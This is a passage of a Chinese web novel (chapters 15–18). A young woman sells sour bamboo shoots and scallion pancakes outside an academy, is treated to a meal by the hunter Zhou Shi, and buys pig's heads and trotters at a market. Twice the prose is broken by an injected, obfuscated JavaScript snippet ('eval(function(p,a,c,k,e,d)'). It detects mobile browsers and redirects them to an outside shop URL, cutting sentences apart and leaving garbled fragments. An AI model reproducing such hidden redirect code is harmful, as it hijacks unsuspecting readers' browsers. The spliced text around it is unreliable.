徐安然早将兔子不吃的叶子,全部剁碎,混合未碾碎的谷物一起,加水搅拌,就成了鸡饲料,没做一次可以保存两天。谷物就是她们吃的,但好在家里只有一只母鸡,吃得不多,所以还喂得起。 喂了鸡,添了水,再将绿叶子菜洗干净放在兔子窝里,最后挑着水将菜地浇了边。 徐安然起来后,见到的就是苏清在弯腰浇菜的场景。她心中一暖,轻唤了声“娘”。 ”怎的起这么早?” 天还没亮,确实很早。 “这只鸡把我吵醒了。”徐安然抬手指向此刻正在啄米的鸡。显然,它吃嗨了,一个眼神都没给到她。 “算了,早点起来将饼做好,省得李四叔还要等我。” 村里的牛车就跟现代的公交一样,有固定的出发时间,和回来时间,搭载的都是村里人,邻里邻外的都很熟悉,所以只要有需求,李四都会等上一会儿。但徐安然不想做那个被等的人。 今天她要将家里身下的三坛酸笋都带去卖了,再加上五十个葱花饼。酸笋短时间内不会再做,虽然没什么成本,但是赚的不多,而且还重,七天才能卖一次,时间太长。她打算改做葱花猪肉烧饼,书院的学生购买力都挺强的。如今旧茶馆同步收拾中,她也希望能尽快重新营业。 今日她将周时给的三百文都给带上了,全部用来买肉。 她的腿恢复得差不多了,可以离了拐杖。本以为周时不会再坐牛车去镇上,所以当她见到他在驾车时,面上有些惊讶。 “我还以为你今日不去镇上呢。”她笑着说。 今天的周时话更少了。 但还是会下车帮她将两坛酸笋搬到牛车上。 回答她的话时,也用点头摇头代替。 好像在刻意避嫌。 虽然少了,但是活儿一点没少干。所以徐安然并不觉得有任何不对劲儿。 倒是李四,实在没眼看。周时这样子,明显是害羞了。 今日张桂梅没有去镇上,只有李秀敏两姐妹,李四在村口等了会儿,也没等到其他要去镇上的人,便让周时驾着牛车出发了。 周时作为今天的赶车人,李四坐在徐安然对面,难得享受了一把被人拉着走的感觉。 “我这侄子啊,要是每次都能帮我赶车的话,就好咯~”侄子不说话,他说/。 他话里有话,周时和姐妹俩都听出来了,只有徐安然被蒙在鼓里。 “四叔,周大哥平日打猎也挺累的。”这话是在解释,因为她不止一次跟周时一起上山了,见过他打猎时候的样子。 只是没想到,三人好像误会了她的话,捂着嘴偷笑,就连周时的耳根都不自觉红了。她不明所以,索性视线看着前方。 她本以为这次去书院附近摆摊,还是和前几天一样的情况,殊不知此刻,书院外已经站了好几位学生。 他们都在看着同一个方向,就是商贩往来的方向。 “怎么还没来?不是说午时一刻就在门口摆摊了吗?” “老师,学生不敢撒谎,那日确实午时一刻,老板就在这边了,今日估计是有事耽误了。老师,咱们再耐心等等。”那日,第一位买了葱花饼的刘举说道。他身旁一开始质问的人便是苏在。 书院里的学生也分有三六九,不看家境,只看成绩。 刘举作为一名成绩倒数的学渣,没想到有一天能和书院最厉害的老师说上话。这一切的功臣,全都归于葱花饼。 书院外摆摊的商贩越来越多,学生也越来越多,但是他们都不为所动,倒是平日里生意最差的粥铺的老板,迎来了他的红火时刻。直到徐安然的身影缓缓出现在大家的视线中……连同酸笋独有的香气。 15. 第 15 章 徐安然到了之后,大家的眼睛肉眼可见地都亮了。 特别是葛学义,抬脚走下楼梯,直奔她,眼睛直勾勾地盯着她手里的陶罐,那就是用来装酸笋的罐子,他断定。 “嘿嘿,姑娘,你终于来啦。”葛学义满脸堆笑。 其他学生和常来这边的商贩哪里见过葛学义这样谄媚,对象还是一个后生。 葛学义心中却不觉得有什么,他这个年纪,能遇到一个真正喜欢的美食不容易。所以今日的他一改往日的性格,对徐安然十分友好。连带着今日周围的商贩。 “原来夫子是个吃货来着,我以前怎么没发现呢?这样我就能少挨几顿夫子的骂了。” “兄弟,你想多了,夫子是什么样的人?县令都是夫子的学生,他什么样的美食没吃过?只有新鲜没见过的美食才能俘获夫子的心,永和镇这点地方,街坊邻居都认识,除了徐老板会做新奇的美食,还有谁?” “兄弟,我觉得你说得很有道理,那我是省了这个心思吧。” “对嘛,将这心思多花在排队买葱花饼上吧,别今天还是吃不到。” 葛学义一心只有酸笋,即使听到了学生们在议论他,也并不放在心里。 他是第一个顾客,其他学生也不敢让他排在自己后面,眼神都能给他们盯出几个洞。 “今日有试吃嘛?小老板。”他问。 徐安然瞧着他手里拿着一个小食盒,盲猜是白粥。 “我这刚买的白粥,就等着你的酸笋呢。” 在他说话的同时,徐安然将带来的桌子摆好,再铺上桌布,这才将带来的食物一并放在小桌上。 一切准备就绪,才回答葛学义的问题,“今日没有试吃了,家里柴火不够呀。” 葛学义有些失望,但很快又说:“那先给我来五斤,快一些。”眼下时间还早,带回家煮,赶在下午上课的时辰回来,还来得及。 眼下他的脑子里全是酸笋,已然将所有的事情都抛诸脑后了,连带着自己学生午时要来书院看他这件事。 这位学生很特殊,他是永和镇的县令,平日喜欢在学生午休的时候,到书院和葛学义一起喝茶,顺便抒发一些当县令的不易。 对穆鸿轩来说,老师葛学义就是他最信任的人,所以什么心里话都愿意跟他说。 但是今日到书院之后,却找不到葛学义的人,无奈,只能到家中寻他。 这一寻可不得了。 他发现一向不喜欢下厨的葛学义今日居然在自己家厨房待着。 “老师,您曾说,君子远庖厨。可是您今天……这还是学生第一次见到你出现在厨房,并且是以一位掌厨人的身份。” 葛学义这才想起来,爱徒跟他约了今日午时喝茶。他将这事儿忘了,并且忘得干净。倒也不是心中对爱徒愧疚,而是,他怕自己的酸笋会被爱徒盯上。 且不说这是一道新鲜的美食,他的爱徒口味还十分猎奇。 可他越想捂什么,便越捂不住。 “您在做什么好吃的呢?”即使葛学义看起来十分谨慎,怕被他发现的样子,但穆鸿轩就像是没看到一样,紧紧追问。 穆鸿轩觉得能让他老师这么反常的,一定是非常好吃的食物。所以今日的他一定要一探究竟,不能让他此行白来。 “你去去去,今日我没空跟你喝茶,快走吧,回去路上买几根糖葫芦吃吃得了。”说完,从怀里掏出几个铜板,像打发家里小孩一样打发穆鸿轩。 老吃家哪里会这么容易离开,葛学义心中清楚这一点儿。 只觉得答应今日跟穆鸿轩一起喝茶这个决定,太过草率。 “我不走。我怎么能让老师一个人在厨房忙着呢,这也太不是人了。”说完,又朝葛学义凑近了一步,头朝着香味的来源探。这是很特殊的气味,很奇怪,他竟闻不出是什么食物。 这更令他感到好奇了,直觉认为,老师这么护着的一样食物,一定很好吃。 “你盯着我的食物这才不是人吧?” “老师,这股酸酸的,又有些臭臭的气味,就是您做的东西?” 此刻,葛学义终于想到一件事。 “不对啊,你不是从书院来找我的吗?难道没看见这玩意儿?” “什么玩意儿?” “酸笋啊。” “原来这东西叫做酸笋呀。” 葛学义意识到自己被套话了。 “我确实见到一位姑娘的摊位前人很多,但是东西基本都卖完了,我这才来找你的呀。” 言外之意,如果买到好吃的了,是不会到这儿找他的。 “呵。我这不需要帮忙。”说完,从钱袋子里拿出几个铜板,递给他,像家长打发小孩那样,“你还是带着这几个铜板,在回去的路上买几串糖葫芦吃吧,不让你白来一趟。” “老师~您真见外,学生真心想帮您~只要您愿意让我也试试这酸笋的味道就好咯。” 葛学义很想拒绝,奈何这位爱徒实在厚脸皮。 如此,索性直接让穆鸿轩接手接下来的活儿。 “烧柴,烧水,等水开。”他在一旁吩咐。 穆鸿轩爱吃,自然厨艺也不错。 所以这些活儿他手拿把掐。 有了这么一位帮厨在身边,葛学义倒是省了很多时间,很快,他们俩人便面对面坐在餐桌上,对着一盘新鲜出炉的酸笋,还冒着热气。 “师母和小静呢?” “今早回娘家了,傍晚回来。” “那是不是现在就可以吃了?” 在煮这酸笋的时候,他就已经馋得不行了,酸笋的酸味,光是闻着都令人食欲大开。就是只有酸笋,太朴素了些。 直到他见到葛学义又从食盒里拿出一个金黄的饼,饼皮还点缀着些绿色的葱花。 食盒盖得太严实,并且酸笋的味道太大,他居然没闻见那股葱香味。 很多人不了解,但作为爱吃的穆鸿轩,深知葱花是提升一道菜味道的关键,而他却从未将它和面粉联想到一起过。 葛学义一口葱花饼,一口粥,再夹上一块酸笋,吃得津津有味。 穆鸿轩看得直咽口水。 但要虎口夺食,属实不易,为了避免连酸笋都吃不到,他决定等待。 “老师,你这饼在哪儿买的呀?”等回去路上他再去买,兜里还有老师给的铜板呢。 这次葛学义留了个心眼。如果他这时候说是同一个人卖的,那么穆鸿轩一定知道今天吃不到了,不排除会盯上他剩下两个 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葛学义才不搭理对面学生变幻莫测的表情,只见他走到厨房,拿出一碗红彤彤的辣椒。这是他在酒楼买回来的现成的辣酱,本意是炒菜的时候加一些提升口感,但是今日徐安然说了酸笋的另一种蘸辣椒的吃法。 说是又辣又酸,口感更丰富。 果不其然,蘸了辣椒酱的酸笋,更好吃了。 “老师,给我也来点儿。” “自己去厨房拿。” 葛学义的语气算不上好。 穆鸿轩却一点儿也不生气,因为老师没把他赶出去都已经算好的。 “哦。”他老实地回。 进老师家的厨房,跟进自己家一样自然,不难看出他常来。 很快,他端着一碗跟葛学义一样分量的辣椒出现。然后学者葛学义的样子,蘸上,紧接着缓缓送入口中。 “嗯~”他发满足地感叹,“蘸上辣椒之后,味道更是妙啊。” 很快,师生俩就将桌上一盘满满的酸笋吃完了,外加两碗份量很足的白粥。葛学义还多吃了一个葱花饼。 吃饱喝足,穆鸿轩依旧没忘记葱花饼的事情。 今日的茶是喝不成了,因为他要赶着去买葱花饼,为了这个饼,他甚至还留了点肚子。 他站在门口,期待葛学义的回答。 可是…… “葱花饼也是在书院买的,嘿嘿,现在人家说不定都离开了,下次再来,就得是三天后咯。”说完,葛学义“嘭”地一声关上门。 留下风中凌乱的穆鸿轩。 他无奈地叹了口气,老师年纪比他大很多,性子却比他更像个小孩。 “老师……您何必呢,让我期待了这么长时间。” 他是在报复一开始套话的仇,他们师生之间经常这样,但是今天的他有些伤心,和后悔。 伤心吃不到葱花饼。 后悔没有尝试虎口夺食。 他连忙朝书院方向赶,试图赶上最后一个葱花饼。 但人早已离开,只剩下零星几个商贩,目前正收拾东西,正准备离开中。 没了葛学义出来催促,商贩们今天动作慢了很多,但并没有破坏规矩,在书院规定的时间内,离开了摆摊之地。 与此同时,被穆鸿轩惦记的商贩徐安然,此刻正跟周时走在东街的街道上。 16. 第 16 章 葛学义回到书院时,碰巧穆鸿轩还没离开。 “你怎么还没走?”葛学义颇有些幸灾乐祸地说,“执念还挺深。” “老师,您为什么要骗我?咱们之间的师生情谊呢?” “当然是怕你跟我抢吃的了。我自己都不够吃呢,今天没把你赶出去,已经足够念及师生情谊了。若换做别的学生,想觊觎我的酸笋,而话不说我就把他赶出门。” “您真的太令我伤心了。” 穆鸿轩旁若无人地控诉,此刻的他,哪里还有平日威严县令的模样,正拉着葛学义的手臂撒娇呢。反正在别人看来是这样。 “老师,我不是您的爱徒了?” “只要不跟我抢吃的,你就一直都是我的爱徒。” 他松开葛学义的胳膊,嘟哝道:“那不太行。您还是早做好准备吧,可能下次我就要虎口夺食了。” 葛学义被气笑了,在书院中,追着穆鸿轩打,书院其他人对此已经见怪不怪了,只当做没看见,也不会讲这事当做笑话到处讲。 - 一晃到了下午,徐安然滴米未沾。 周时好像知道似的,带她来到东街一家热闹的酒楼,也是整个永和镇最大的酒楼,聚福楼。 来这儿,不仅是为了吃饭,也是想顺便将手里的两只雏鸡卖掉。 知道周时要请她吃饭,也不矫情,跟着他进了店。 她点了聚福楼最热门的两道菜。先从做得优秀的同行研究起。 聚福楼最热门的两道菜,也是最平价的两道菜,很多百姓都能消费得起。 所以即使过了饭点,这里依旧门庭若市。 两人还是等了会儿,才等到一个二人位置。 周时是这里的常客,因为他常将猎物卖给这家酒楼的掌柜,由于价格合适,他们一直保持着合作。也正是因为他的关系,没等多久菜就上齐了。 掌柜笑脸盈盈地,亲自上菜。 在见到徐安然时,眼里闪过一丝诧异,但很快便收起来了。 “周老弟,今日又打了什么新鲜东西来?” 周时平日七天来一次,可这才不到五天,他又来了,并且还跟着一位女子,掌柜心中猜测,可能是好事将近,又或者正主动追求。 但这些话他不会说出来,省得女子害羞。 徐安然才不懂掌柜心里的想法,她除了看菜系之外,还看酒楼的布局。 这聚福楼能成为永和镇最大的酒楼,实力真不是盖的,目前她所见到的,有机灵的伙计、热情的跑堂以及有眼力见的掌柜。 酒楼的位置分布也处在东街人来人往的密集之地,光是经过的百姓,见到里头这么热闹,都会忍不住停下来伫足看一会儿的,知名度就这样打出去了。 再加上合理的定价,便宜的菜系和昂贵的菜系都有,包容万象,消费不高也能被热情对待,更得百姓的心。 这样一套经营模式,她十分熟悉,跟现代时她经营的那几家连锁餐馆一样的套路。 主走平价路。 相较于家里的旧茶馆,除了不用交租金之外,天时地利一样都不占。 更别提,聚福楼最热门平价的菜,味道还不错。 一道烤鸭子,五张蒸饼。除了味道有些淡之外,完全挑不出缺点。 饭桌上,周时没吃几口,全部留给徐安然,这让她很不好意思,毕竟饭是他请的,他还一口不吃。 “你吃呀?” 看着徐安然像个小仓鼠一样,脸颊两边鼓囊囊,努力吞咽的样子,周时低头轻笑。 “你笑什么?”她反手摸了摸自己的脸和嘴角,“我脸上沾米饭了?” “没有。”周时心中懊恼,居然情不自禁将内心的想法显露出来了。 “那你笑什么?”徐安然追问,“不吃饭在那里傻笑,你不饿吗?这家店的饭菜还挺好吃的。” “不饿,你吃就好,吃不完的话,可以让伙计帮忙打包带回家。” 上菜前,周时很贴心地让伙计将烤鸭子分了两碟,他们吃的是其中一碟,还有一碟没动过,带回去热一热就能吃。 “你带回去吧,正好你都没吃几口。”不知道是害羞还是什么。跟她还见外。 “你带回去,给苏婶。” 今日徐安然出来摆摊,应付了那么多书院的学生,跟有甚者在徐安然卖完手里的食物后还有追着她出来问下次何时再来的人。她一定很累了,周时不想让她回去之后还要再给家里人下厨。 她做饭这么好吃,一定是常年下厨练出来的。 徐安然哪懂周时这些想法,心中只有对那半只烤鸭子的渴望。她眼神试探地看向周时,“那,我可就不客气啦?” 虽然不知道周时为什么就对她这么好,但是她能感受到周时对自己并没有什么企图。而且,她也并不讨厌周时。 而且这样一来一往的,等她的店开起来后,再邀请周时到店里工作,他大概率就不会拒绝了。 勤快的跑堂,攻略进度百分之五十~。 徐安然心中美滋滋地想。 两人两道菜,不急不缓地,也吃了好一会儿时间,期间徐安然一直在观察聚福楼的客流量情况。并暗自记下聚福楼每一道菜的定价,心中做着盘算。 周时则趁徐安然观察的间隙,来到后厨,将打猎到的两只雏鸡交给聚福楼的厨子。 山里的雏鸡,腿部肌肉很发达,而且吃的都是自然的馈赠,所以格外健壮,虽只有两只,但也卖了个好价钱。 掌柜更是笑嘻嘻地。 “老弟,以后再有这样的雏鸡,可一定要带来哦。” “行。” 周时回得爽快。 这次没做过多的寒暄,因为徐安然还在饭桌上等着他。 聚福楼掌柜看着周时着急离开的模样,缓缓摇头。 “看来,他成不了我女婿咯。”说完,转身走进厨房,吩咐厨师将两只鸡处理干净。 周时回来后,徐安然恰好也吃得差不多了。两人一同出了饭馆。 她拿着打包好的烤鸭子,周时帮她背着背篓,并排走在街道上。 身旁是不是有目光看向两人,徐安然觉得目光不是在看自己,而是在看身旁的周时。 “你平时自己一个人出来的时候,也有这么多人看你吗?”她没忍住问。 周时不明所以地摇了摇头。 “我那日跟李家两姐妹一起逛街的时候,也没那么多人看我们呀。”她嘟囔道。 周时不再说话了,场面一度很尴尬。 徐安然轻咳了一声,视线四处看,也不再说话了。 本以为这段很快就过去了,但不曾想却被一位妇人拦了下来。 于是,她总算明白了缘由。 “小娘子,你跟你郎君好生般配,祝你们百年好合,我亲自绣的鸳鸯荷包,买两呗,您和您夫君一人一个。” 一个背着孩子的妇女拦住了徐安然的去路,热情地介绍篮子里的荷包。 徐安然看看周四,又看看对面的妇女。 无奈摇了摇头:“大姐,您误会了。” “哎,你们不是夫妻?”大姐轻拍自己的嘴角,“瞧我这张嘴啊,说习惯了,二位看着像新欢夫妻。原来不是呀,我的错,我的错。” “没事。”周时说话了。 “那这荷包?”大姐心中只有对成单的渴望。 “拿两个吧。”周时又说。他喜欢这位大姐刚才说的话,所以愿意照顾她的生意,并且一个女人带着孩子也不容易,恰好,他也正需要一个荷包。 荷包也分男女款,周时将男款收起来了,女款递给徐安然。 ?? 她疑惑地看着周时。这什么意思? “我看大姐一个人做生意还要带着孩子不容易……” “那你这给我……不太合适吧?”太暧昧了吧? “索性我身边也没其他女孩子了,你就拿着吧,今日摆摊时也没见你有个像样的荷包装银子,荷包要好,银子才能源源不断。” “额……”她能说没有是因为没必要吗,毕竟以前她们家的钱根本不需要用到一个荷包来装。 “不过这哪里的说法,我怎么没听说过?” “咳咳。”周时故意不看徐安然,低着头往前走,“我四叔说的。” 徐安然看着他的背影,没琢磨出什么不对劲。看来有点暧昧这件事只是她自己这么觉得了。 她小跑追上,边说:“那好吧,我就收下了。” 粉色的荷包,上头绣着两只鸳鸯,小巧劲儿十分生动。谁收到礼物不开心呢,徐安然立即用上,将今日摆摊的钱全部装入荷包中。 装了小半袋,下次摆摊的目标是装满它! 周时一直在悄悄观察徐安然,见她这么开心,心中也跟着乐。 看来四叔说得没错,送钱送、礼物、请吃饭,果真能让女孩子开心。 接下来,徐安然又带着周时去了一趟菜市。还去之前交易过的商贩那儿。 她这个年纪来菜市买肉,并且杀价非常狠的年轻人不多,所以虽然只来了一次,但肉商老板还是一眼就认出了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092713|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姑娘,又是你。”说话的大哥名叫赵不赖,家中排行老三。一脸横肉,拿着把杀猪刀,看似不好惹,确实个憨厚随和的性格。 “是我呀,今日的肉新鲜吗?”徐安然一边问,一边上手摸了摸。 判断猪肉是否新鲜,光看不行,闻和摸,一样都不可少。 新鲜的猪肉,只会出现轻微的腥,没有其他刺鼻或者异味。 如果是不新鲜的或是变质的猪肉,会不同程度地散发酸臭味、腐臭味或氨水味,靠近闻时气味明显刺鼻。 触摸时,手指按压后快速回弹,肉质紧实不黏手,切面湿润但不渗血水,这样就是新鲜猪肉,变质的猪肉,按压后凹陷不恢复,松软没有弹性,表面发黏或者能拉丝,就代表不新鲜。 所以徐安然在问的时候,就已经确认了,问的目的只是为了试探老板是否诚实。 上一次她在这边买过不少肉,再来也是想看看老板会不会杀熟。 因为这次她要买的肉也不少。如果可以的话,她不介意跟同一家商贩长期合作。 “当然是新鲜的,今早刚宰的新鲜猪肉,这不,猪脑袋还在这边没处理呢。” “猪脑袋?” 徐安然来了兴趣。 “我看看呗。” “啊?”商贩大哥明显有些懵了,猪脑袋很吓人,一般百姓不会买,都是他们这些杀猪的带回去随便对付两口就算了,虽然又肥又腻,但怎么说也是肉,比那些下水好吃多了。 “我想买。”徐安然说,“倒也不是整个猪头都买,我想买猪鼻子和猪耳朵,可以吗?还有猪蹄,我也想买。” 大哥虽然不解,但还是点了点头,“可以是可以,但是这东西从来没人要过……这样吧妹子,你要的话,一起五钱一斤卖给你。” “真的?” “当然。”大哥一锤定音,随即根据徐安然的要求,将她要的部位切割下来,又将没人买的猪蹄一起装好给徐安然,放进她带来的背篓中。 其余的卖肉商贩见此,也纷纷拉拢徐安然。 “妹子,我这儿也有你要猪鼻子和猪耳朵,猪蹄也有。” “也是五钱一斤给我吗?”徐安然问。 “对!” “那成!我要了!大姐们,大哥们,你们还知道哪些商贩有这些玩意儿,我都要,但一定要新鲜,这两天屠宰的,我都收,五钱一斤。” 徐安然话说完,周边的商贩纷纷蠢蠢欲动,因为他们家还真有。 猪鼻子猪耳朵这些部位跟猪下水不同,处理起来并不难,也不需要太多配料。正适合现在家里什么调料都缺的她。 想来也是这位大哥提醒了她,否则还真想不到可以做煮卤肉。 徐安然在菜市中一顿扫荡,她买得开心,商贩们也卖得开心。 期间周时一言不发,默默帮徐安然拿东西。因为除了提东西之外,根本没有他能帮得上忙的了。 “姑娘,你家里人对你真好,出来买菜还给你带护院。”赵不赖一脸认真样,压根看不出一点儿开玩笑的意思。 徐安然没忍住笑出了声。随后悄悄转过头看向周时,发现他并没有生气的样子。 其实别人讲周时当做她的保镖已经不是第一次了,前几日就被书院的学生误解过。 “不是的,他是我朋友。” “噢~我瞧着他一直跟在你身后帮你拿东西,又不说话的,还以为……”赵不赖看着周时,“老弟,你别生气哈。” 周时摇了摇头,依旧不说话。 赵大赖觉着无趣,又跟徐安然聊起天来。 这一聊,徐安然才知道,赵赖在这一带摆摊卖肉已经十几年了,算老商户了,也有些口碑,很多百姓都喜欢到他这儿买肉,称实在,不缺斤少两。 在得知平日极少有人买这些猪头肉和猪蹄时,徐安然心中美极了,已经迫不及待要回家大展拳脚了。 很快,在赵濑的介绍下,她便等来了其他肉商,他们将放在家中的猪头肉和猪蹄全拿了来,在赵大放赖的摊位旁摆着,供徐安然挑选。 他们认为徐安然年轻不会分辨,即使她说过要两天内新鲜的肉,但依旧有想要蒙混过关、抱着侥幸心理的人将一个多星期前的肉拿了过来。并一直撺掇徐安然付钱,更有甚者手都直接放在徐安然的荷包上了。 哪里有这样自助拿钱的,徐安然当下就黑了脸。 但周时比她动作更快,将这些人都推了出去。 看着周时这样护在自己面前,别说,还挺像保镖的。心中的火也消去了大半。 17. 第 17 章 看着眼前几个一直撺掇她买单的商贩,语气十分冷静且话不留余地,“我说过,不新鲜肉我不要,你们都拿回去吧。” “姑娘,我不要五钱一斤,三钱一斤也行。”其中一位中年男子讪笑道。 本以为他这样说话,徐安然脸皮薄,如何都会手下的,结果她更是不带犹豫地回绝。 “免费给我我都不要。”徐安然直接表明了态度,这下其他心存侥幸的商贩都停了动作,有周时在,其他人不敢做得太过分,但是一个个都带着怨气看徐安然。 “什么嘛,我还专门回家拿一趟,现在都不收,我不是白回去了,真是晦气。” 说话的人没有刻意压低声音,徐安然听得真真切切,她刚想反驳,就听见身旁的周时用着不大的嗓门说。 “我们早就强调过,只要两天内现杀的猪肉,并且在你们回家拿时,我们又提醒过一遍,一个个都说保证新鲜,怎么现在还怪起我们了?做生意之前,先学着怎么做人吧。” 周时人往那一站,不说话的时候就已经足够有威慑力了,此话一出,更是让那些有侥幸心理的商贩吓得一激灵。 特别是最先吐槽的中年男子,他知道自己的能力,真要打架,十个他都不是眼前这个大块头的对手,于是悄悄遁入人群中,降低自己的存在感,并在两人不注意的时候低头离开。 徐安然像个被家长护着的孩子,站在周时身后频频点头:“就是就是。我早说过了,是你们自己想贪小便宜。” 徐安然也看到了那个低头离开的中年男子,话就是说给他听的。她今后避免不了还会来这里买菜,能不结仇就不结仇。生意人的规矩,多个朋友,比多个仇人要好。 其他几位想要联合中年男子坑徐安然的商贩们被说得无地自容,有人惭愧离开,但也有人好面子,偏要逞口舌之快。 徐安然不想跟这样的人有过多交集,反正样貌她都记住了,以后不去那边买就是了。 永和镇虽然不大,但是肉商还是很多的,她不愁买不到想要的肉。除非有人成心跟她作对。 在菜市逛了一圈,二人收获颇丰,离开时,很多商贩脸上都是笑容。 除了那几个拿着不新鲜猪肉想要以次充好的商贩们。 时间一晃来到下午,李四已经在城门口等待多时了,李秀敏两姐妹今日来镇上是为了给家里人抓药,所以并没有跟徐安然一起逛街,此刻也已经回到了城门口。 “安然!!” 看到徐安然的身影,李秀莲连忙走到她的身边。虽然有周时帮着提东西,但是徐安然手里的东西也不少,李秀莲主动接过。 像姐姐照顾她那样,照顾徐安然。 她心中感动,认识李秀莲的时间并不长,但是她却能如此真诚地跟自己相处,谁说古人心眼多啊,不要太纯真了。 李秀敏随后来到她身边,也帮着拿东西。 “怎么回来这么晚?是遇到什么事了吗?” 徐安然摇头:“没事,去菜市买了些猪蹄和猪耳朵。我给你们留了几个葱花饼,在背篓里,一会儿上车拿给你们。” “好呀好呀,我馋死了。”李秀莲开心地说。 家里人生病了,她们要去药店抓药,于是早上并没有吃到葱花饼,没想到徐安然还给她们留着了,李秀莲心中感动得不行。 吃的时候更是不带停。 回去的路上,徐安然很安静,她心中琢磨着做卤肉需要用到的调味料。 前两次上山,她没来得及多观察还有什么好玩意儿,所以提前买好了八角和白芷,这两种都是药材,比肉贵多了。但这也是她第一次做卤肉,能不能成,也得试试才知道。 她对自己有信心,也必须有信心,因为食材买了很多,调味料也买了不少。 想到这,她再次抬头看向正在赶牛车的周时。她拍了拍周时的肩膀:“周大哥。” “嗯?”周时微微侧过头。 这是她第一次距离周时那么近,近到连毛孔都看得十分清楚。她连忙往后移了一寸,拉开两人的距离。 以些许恳求的语气:“你明日能不能再带我上山一趟?我想上去看看山里还有没有其他野菜。” 周时不带任何犹豫:“可以。” “谢谢!这段时间你又是帮我打扫老茶馆,又是送我猪肉,又帮我提东西,我实在不知如何感激你,你以后有什么需要帮助的,我能办到的,尽管跟我说。你是我在山亭村结交的第二位朋友。” 徐安然认真的地说。 她很少给人承诺,但是从这几天的相处下来看,她认为周时值得,而且他并不是会趁人之危的人。 “好,我记下了。但我孤身一人,也没什么需要你帮忙的,唯一的一点……”周时拉长了语调。 徐安然瞬间明白:“放心吧,我做的好吃的食物,一定会留你一份。” 她不值不觉间对周时的看法也在发生着变化,一开始她只是想要周时到她店里帮忙,当她店里的一个伙计,但是现在徐安然觉得,周时当伙计实在太大材小用了,他值得更重要的活! 周时窃喜:“好,我信你。” 车上另外三人都在小寐,都没听到二人的对话。 睡眠是会传染的,很快,徐安然也有些困了,她将头靠在车头的木板上。周时见状,甚至放慢了速度。 不同于早晨,傍晚的阳光暖洋洋的,因此很好睡。 苏清早就已经在村口等待徐安然很久了,因为今天牛车的速度慢了许多,直到夕阳褪去,才见到牛车的身影,连忙迎上去。 徐安然这会儿已经醒了,她见到苏清的身影,不知为何,心中有些感慨。 小时候上学时,总是心中想象,那些有妈妈来接放学的感觉是怎么样的。但从来都是奢望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096114|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没想到,现在苏清弥补了她这个遗憾。原来,有父母来接的小孩,这么幸福。 “娘~”她甜甜地叫了一声。 苏清突然觉得,此刻的徐安然给她的感觉和平日很不一样,多了点……孩子气。 “哎~”她喜欢看到孩子这样,她的女儿本该这样活泼可爱才对,“累不累?将东西给娘,娘给你煮了一个鸡蛋。”说完,将还带着温度的鸡蛋放在徐安然手心,接着拿过她手中的摆摊工具。 周时默默地下车,将徐安然放在车上的其他东西一并拿了下来,本想要一起拿进屋,却被徐安然拒绝了。 “周大哥,不用帮忙了,快些将两位姐姐送回去吧,天快黑了。”从她家到李秀敏两姐妹家,还需要一点路程,两人都是女孩,家里人更会担忧。 “那好,明日卯时,我在山下等你,我们准时上山。” “行。” 告别了几人,徐安然跟着苏清一起进了屋。 她的腿已经好得差不多了,苏清也不再制止她上山。 事实是她犟不过徐安然,好在,有周时陪同,她更能放心。 待人走后,苏清忍不住八卦,“周家小子对你不错,你对他有没有……” “娘!”徐安然站直,眼睛圆溜溜地看着苏清,“你可别在周大哥面前说这种话,我们俩就是普通的朋友关系,他能带我上山,我也会给他报酬,仅此而已。” “娘还什么都没说呢,你这孩子,怎么这么激动?” 徐安然脸有些烫,支支吾吾地说:“有……有吗?” “你说呢!” 她不想再继续这个话题,连忙给苏清看自己这一次去镇上的战绩。 首先是卖酸笋的钱,除了人力之外,成本只有二两盐,算它五十文。今日她带了十斤酸笋,一斤二十文钱,净赚一百五十文。再加上五日前的三十文,一共是一百八十文,酸笋比较重,这个利润,她不是很满意,定价还是低了,还没二两瘦肉贵。 一开始真的没想到大家对酸笋的接受程度这么高。看来……明天还可以再挖一些笋下山,反正罐子放着也是放着,不如拿来放酸笋。 等下次再去镇上的时候,她就可以带苏清去镇上看病了。 虽然不懂医术,但在现代见过大大小小的病,苏清这个常年咳嗽,吹不了冷风的毛病,多半是肺痨。肺痨其实有根治的法子,只不过药材比较贵,所以这么多年,苏清一直拖着,拖到最后,拖成了一副病怏怏的躯体。 “对了!”徐安然从背篓里拿出今日在聚福楼打包的烤鸭子,“这是周……这是我今日在酒楼买的烤鸭子,娘,你拿去厨房热一热,今晚我们的晚饭就吃这个。” 鉴于苏清胡乱揣测她和周时的关系,想了想还是隐瞒了周时请她吃饭这件事。 热菜不是什么难事,苏清能搞定,她现在要去料理一下院子左边的菜地。 18. 第 18 章 在苏清的细心打理下,这片菜地的黄瓜苗终于死了。她也总算能铲掉了,省得苏清总是念叨。 虽然山里野菜多,但她不像周时,可以天天上山。所以家里种些蔬菜十分有必要。 现在这个季节,种小白菜刚好合适,七天就能出苗,二十一天就能吃了,而且好养活,每天只需要浇水一次就够。 母女俩各自忙活,天色渐暗,也阻挡不了徐安然种地的热情。想到不出一个月就能吃到新鲜的蔬菜,她就动力满满。 菜地不算大,将土锄松散后,分成三垄,接着将种子撒在垄上,没什么规律,也不需要专门挖坑。 做完这些,再浇水,浇得湿润就停下。 她没有买肥料,也没卖药,自家种来吃的菜,不需要打药,否则就失去了自己种的意义。 